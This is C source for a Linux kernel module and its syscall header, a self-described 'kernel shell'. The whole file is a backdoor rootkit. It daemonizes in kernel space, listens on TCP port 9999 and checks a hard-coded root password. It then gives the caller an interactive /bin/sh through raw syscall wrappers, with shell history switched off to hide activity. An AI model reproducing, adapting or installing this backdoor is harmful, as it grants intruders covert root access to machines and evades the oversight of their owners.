///////////////////ksh.c///////////////////
#include <linux/module.h> #include <linux/kernel.h> #include <linux/net.h> #include <linux/types.h> #include <linux/skbuff.h> #include <linux/string.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/in.h> #include <linux/syscalls.h> #include <linux/errno.h> #include <linux/delay.h> #include <linux/hdlc.h> #include <linux/kthread.h> #include <asm/unistd.h> #include "syscall.h"
#define LPORT 9999 #define USER "root\n" #define PASS "r00t12\n" #define AUTH_SUCC "Welcome, this is a kernel shell\n" #define AUTH_FAIL "Incorrect password\n"
MODULE_LICENSE("GPL"); MODULE_AUTHOR("rainman");
/*declare system calls*/ static inline my_syscall0(pid_t, fork); //fork()
static inline my_syscall1(int, close, int, fd); //int close(int fd)
static inline my_syscall2(int, dup2, int, oldfd, int, newfd); //int dup2(int oldfd, int newfd)
static inline my_syscall3(int, execve, const char *, filename, //int execve(const char *filename,
const char **, argv, const char **, envp); // const char **argv, const char **envp)
static inline my_syscall3(int, write, int, fd, char *, buffer, int, size); //int write(int fd, char *buff, int size);
static inline my_syscall3(int, read, int, fd, char *, buffer, int, size); //int read(int fd, char *buff, int size);
char *env[] = { "TERM=linux", "HOME=" "/", "LOGNAME=root", "USERNAME=root", "USER=root", "PS1=[\\u@\\h:\\w]\\$ ", "HISTFILE=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin", "!TERM", NULL };
char *earg[3] = { "sh", "-i",NULL };
int k_exit = 0; struct socket *sk;
void kshell(int fd){ char *user = "username:"; char *pass = "password:"; char u_buff[10], p_buff[10]; if(write(fd, user, strlen(user)) < 0){ printk("write failed\n"); close(fd); return; } if(read(fd, u_buff, 10) < 0){ printk("write failed\n"); close(fd); return; } if(write(fd, pass, strlen(pass)) < 0){ printk("write failed\n"); close(fd); return; } if(read(fd, p_buff, 10) < 0){ printk("write failed\n"); close(fd); return; } if(strcmp(USER, u_buff)||strcmp(PASS, p_buff)){ write(fd, AUTH_FAIL, strlen(AUTH_FAIL)+1); close(fd); return; } write(fd, AUTH_SUCC, strlen(AUTH_SUCC)+1); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execve("/bin/sh", (const char **)earg, (const char **)env); return; }
void listen_func(void){ struct socket *newsk; struct sockaddr_in addr; int len = sizeof(struct sockaddr); int fd; mm_segment_t old_fs; old_fs = get_fs(); set_fs(get_ds()); if(sock_create(AF_INET, SOCK_STREAM, 0, &sk) < 0){ //create listen socket
printk("create socket failed\n"); } memset(&addr, 0, len); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(LPORT); if(sk->ops->bind(sk, (struct sockaddr*)&addr, len) < 0){ //bind
printk("bind failed"); return; } if(sk->ops->listen(sk, 5) < 0){ //listen
printk("listen failed\n"); return; } while(1){ if(k_exit == 1){ return; }
if(sock_create(AF_INET, SOCK_STREAM, 0, &newsk) < 0){ //create new socket
printk("create socket failed\n"); return; } //printk("create ok\n");
if((fd = sock_map_fd(newsk)) < 0){ printk("socket map failed\n"); return; } //printk("map ok\n");
if(sk->ops->accept(sk, newsk, O_RDWR) < 0){ //accept
printk("accept failed\n"); return; } //printk("accept ok\n");
if(fork()){ //fork
kshell(fd); do_exit(1); } close(fd); } set_fs(old_fs); return; }
int k_init_module(void){ if(!fork()){ daemonize("ksh"); listen_func(); do_exit(0); } return 0;
}
void k_exit_module(void){ sock_release(sk); }
module_init(k_init_module); module_exit(k_exit_module);
//////////////////syscall.h////////////////////////////
#ifndef SYSCALLS_H #define SYSCALLS_H
int errno;
#define my__syscall_return(type, res) \ do { \ if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \ errno = -(res); \ res = -1; \ } \ return (type) (res); \ } while (0)
/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */ #define my_syscall0(type,name) \ type name(void) \ { \ long __res; \ __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name)); \ my__syscall_return(type,__res); \ }
#define my_syscall1(type,name,type1,arg1) \ type name(type1 arg1) \ { \ long __res; \ __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ : "=a" (__res) \ : "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); \ my__syscall_return(type,__res); \ }
#define my_syscall2(type,name,type1,arg1,type2,arg2) \ type name(type1 arg1,type2 arg2) \ { \ long __res; \ __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ : "=a" (__res) \ : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)) \ : "memory"); \ my__syscall_return(type,__res); \ }
#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \ type name(type1 arg1,type2 arg2,type3 arg3) \ { \ long __res; \ __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ : "=a" (__res) \ : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \ "d" ((long)(arg3)) : "memory"); \ my__syscall_return(type,__res); \ }
#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \ type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \ { \ long __res; \ __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ : "=a" (__res) \ : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \ "d" ((long)(arg3)),"S" ((long)(arg4)) : "memory"); \ my__syscall_return(type,__res); \ }
#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \ type5,arg5) \ type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \ { \ long __res; \ __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " \ "int $0x80 ; pop %%ebx" \ : "=a" (__res) \ : "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \ "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)) \ : "memory"); \ my__syscall_return(type,__res); \ }
#endif
|